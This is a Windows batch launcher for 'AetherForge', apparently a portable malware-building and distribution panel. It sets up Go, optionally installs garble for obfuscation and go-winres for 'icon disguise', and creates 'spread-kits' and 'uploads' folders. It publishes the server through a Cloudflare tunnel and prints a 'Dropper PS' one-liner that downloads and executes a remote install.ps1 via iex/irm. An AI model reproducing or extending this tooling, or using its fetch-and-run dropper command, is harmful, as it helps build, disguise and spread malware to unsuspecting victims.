@echo off
setlocal EnableExtensions EnableDelayedExpansion
title AetherForge Control Deck
cd /d "%~dp0"

:: Portable deck root = folder that contains AetherForge.exe (repo usb\ or copied USB drive)
if exist "%CD%\AetherForge.exe" (
  set "ROOT=!CD!"
) else if exist "%CD%\usb\AetherForge.exe" (
  cd /d "%CD%\usb"
  set "ROOT=!CD!"
) else (
  echo.
  echo   ERROR: AetherForge.exe not found.
  echo   Expected next to this script, or in usb\AetherForge.exe
  echo   Run pack-usb.bat from the repo to build the portable bundle.
  echo.
  pause
  exit /b 1
)

if not exist "%ROOT%\AetherForge.exe" (
  echo   ERROR: AetherForge.exe missing in %ROOT%
  pause
  exit /b 1
)

echo  ================================================================
echo       AetherForge  -  Portable Control Deck
echo  ================================================================
echo   Deck:       %ROOT%
echo.

:: ----------------------------------------------------------------
:: 1. Locate Go - prefer bundled toolchain, fall back to system Go
:: ----------------------------------------------------------------
set "BUNDLED_GO=%ROOT%\toolchain\go\bin\go.exe"
set "GO_BIN="

if exist "%ROOT%\toolchain\go" if not exist "%BUNDLED_GO%" (
    echo   [Go] Incomplete toolchain folder — removing broken install...
    rd /s /q "%ROOT%\toolchain\go" 2>nul
)

if exist "%BUNDLED_GO%" (
    echo   [Go] Using bundled toolchain: %ROOT%\toolchain\go
    set "GO_BIN=%ROOT%\toolchain\go\bin\go.exe"
    set "GOROOT=%ROOT%\toolchain\go"
    set "PATH=%ROOT%\toolchain\go\bin;%ROOT%\toolchain\gopath\bin;%PATH%"
    goto go_ready
)

:: Check if Go is installed system-wide
where go >nul 2>nul
if not errorlevel 1 (
    echo   [Go] Using system Go installation.
    set "GO_BIN=go"
    goto go_ready
)

:: Go not found - extract bundled zip or download once
echo   [Go] Not found. Setting up portable Go toolchain...
echo   Saved under: %ROOT%\toolchain\go\
echo.

if /i "%PROCESSOR_ARCHITECTURE%"=="AMD64" (
    set "GO_ARCH=amd64"
) else if /i "%PROCESSOR_ARCHITECTURE%"=="ARM64" (
    set "GO_ARCH=arm64"
) else (
    set "GO_ARCH=386"
)
set "GO_VERSION=1.26.3"
set "GO_ZIP=go%GO_VERSION%.windows-%GO_ARCH%.zip"
set "GO_PACK_ZIP=%ROOT%\toolchain\pack\%GO_ZIP%"
set "GO_DEST=%ROOT%\toolchain\%GO_ZIP%"

if not exist "%ROOT%\toolchain" mkdir "%ROOT%\toolchain"
if not exist "%ROOT%\toolchain\pack" mkdir "%ROOT%\toolchain\pack"

if exist "%GO_PACK_ZIP%" (
    echo   [Go] Extracting bundled %GO_ZIP%...
    copy /y "%GO_PACK_ZIP%" "%GO_DEST%" >nul
) else (
    echo   [Go] Downloading %GO_ZIP% from go.dev...
    set "GO_URL=https://go.dev/dl/%GO_ZIP%"
    powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_DEST%' }"
    if errorlevel 1 (
        echo.
        echo   ERROR: Could not download Go. Copy toolchain\go\ from a PC that has it,
        echo   or add toolchain\pack\%GO_ZIP% to this folder, then re-run LAUNCH.bat.
        echo.
        pause
        exit /b 1
    )
)

if not exist "%GO_DEST%" (
    echo   ERROR: Go archive missing after copy/download.
    pause
    exit /b 1
)

echo   [Go] Extracting toolchain...
powershell -NoProfile -Command "Expand-Archive -LiteralPath '%GO_DEST%' -DestinationPath '%ROOT%\toolchain' -Force"
if errorlevel 1 (
    echo   ERROR: Extraction failed. Check free disk space and path: %ROOT%\toolchain
    pause
    exit /b 1
)
del "%GO_DEST%" 2>nul

if not exist "%BUNDLED_GO%" (
    echo   ERROR: Extraction failed — %BUNDLED_GO% not found.
    echo   Delete toolchain\go and toolchain\pack, then re-run LAUNCH.bat.
    pause
    exit /b 1
)

set "GO_BIN=%ROOT%\toolchain\go\bin\go.exe"
set "GOROOT=%ROOT%\toolchain\go"
set "PATH=%ROOT%\toolchain\go\bin;%ROOT%\toolchain\gopath\bin;%PATH%"
echo   [Go] Toolchain ready.

:go_ready

:: ----------------------------------------------------------------
:: 2. Pin all Go caches to the USB so module downloads travel with you
:: ----------------------------------------------------------------
set "GOPATH=%ROOT%\toolchain\gopath"
set "GOMODCACHE=%ROOT%\toolchain\gopath\pkg\mod"
set "GOCACHE=%ROOT%\toolchain\gocache"
set "GOENV=off"

:: ----------------------------------------------------------------
:: 3. Install optional Forge tools if missing (non-fatal)
:: ----------------------------------------------------------------
if /i "%AF_INSTALL_TOOLS%"=="1" (
    if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" (
        echo   [Tools] Installing garble - obfuscation support...
        "%GO_BIN%" install mvdan.cc/garble@latest
        if errorlevel 1 (
            echo   [Tools] WARNING: garble install failed - Forge obfuscation will be skipped.
        ) else (
            echo   [Tools] garble ready.
        )
    )

    if not exist "%ROOT%\toolchain\gopath\bin\go-winres.exe" (
        echo   [Tools] Installing go-winres - Windows icon disguise...
        "%GO_BIN%" install github.com/tc-hib/go-winres@v0.3.1
        if errorlevel 1 (
            echo   [Tools] WARNING: go-winres install failed - Fusion icon patch will be skipped.
        ) else (
            echo   [Tools] go-winres ready.
        )
    )
) else (
    echo   [Tools] Skipping optional installs. Run: set AF_INSTALL_TOOLS=1 ^&^& LAUNCH.bat to install.
)

:: ----------------------------------------------------------------
:: 4. Ensure data directories exist
:: ----------------------------------------------------------------
if not exist "%ROOT%\data\builds"       mkdir "%ROOT%\data\builds"
if not exist "%ROOT%\data\logs"         mkdir "%ROOT%\data\logs"
if not exist "%ROOT%\data\spread-kits"  mkdir "%ROOT%\data\spread-kits"
if not exist "%ROOT%\data\uploads"      mkdir "%ROOT%\data\uploads"
if not exist "%ROOT%\data\blueprints"   mkdir "%ROOT%\data\blueprints"
if not exist "%ROOT%\data\preps"        mkdir "%ROOT%\data\preps"

:: ----------------------------------------------------------------
:: 5. Cloudflare Tunnel - start in background window + 60s watchdog
:: ----------------------------------------------------------------
set "SERVER_PORT=8989"
set "CF_HOSTNAME=aether.thetempleofdoom.com"
set "CF_READY=0"

if not exist "%ROOT%\cloudflare\start-tunnel.ps1" (
    echo   [CF] WARNING: cloudflare\start-tunnel.ps1 missing - tunnel skipped.
    goto cf_done
)

echo.
echo   [CF] Starting Cloudflare tunnel for https://%CF_HOSTNAME% ...
echo   [CF] Log: %ROOT%\data\logs\tunnel.log
start "AetherForge Tunnel" powershell -NoProfile -ExecutionPolicy Bypass -File "%ROOT%\cloudflare\start-tunnel.ps1" -Root "%ROOT%"

:: Give the tunnel script 8 seconds to start before we open the server
ping -n 9 127.0.0.1 >nul
set "CF_READY=1"

:cf_done

:: ----------------------------------------------------------------
:: 6. Detect LAN IP for display
:: ----------------------------------------------------------------
set "LAN_IP=localhost"

:: ----------------------------------------------------------------
:: 7. Kill any stale server process
:: ----------------------------------------------------------------
taskkill /F /IM AetherForge.exe >nul 2>nul
ping -n 2 127.0.0.1 >nul

echo.
echo  ================================================================
echo                    STARTING CONTROL DECK
echo  ================================================================
echo   Local:      http://localhost:%SERVER_PORT%
echo   LAN:        http://%LAN_IP%:%SERVER_PORT%
if "!CF_READY!"=="1" (
    echo   Public:     https://!CF_HOSTNAME!
    echo   Dropper PS: iex -irm https://!CF_HOSTNAME!/install.ps1
)
echo   Data:       %ROOT%\data\
echo.
echo   Dashboard login printed below each start.
echo   Press Ctrl+C to stop.
echo  ================================================================
echo.

:: Open browser after short delay
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"

:: Launch server
"%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data"
set "EC=!ERRORLEVEL!"

echo.
if "!EC!"=="0" (
    echo [Server] Stopped normally.
) else (
    echo [Server] Exited with code !EC!.
    echo   If port %SERVER_PORT% is in use, close other AetherForge windows and retry.
)

:: Cloudflare tunnel runs as a Windows service — stays up after LAUNCH.bat exits

echo.
pause
endlocal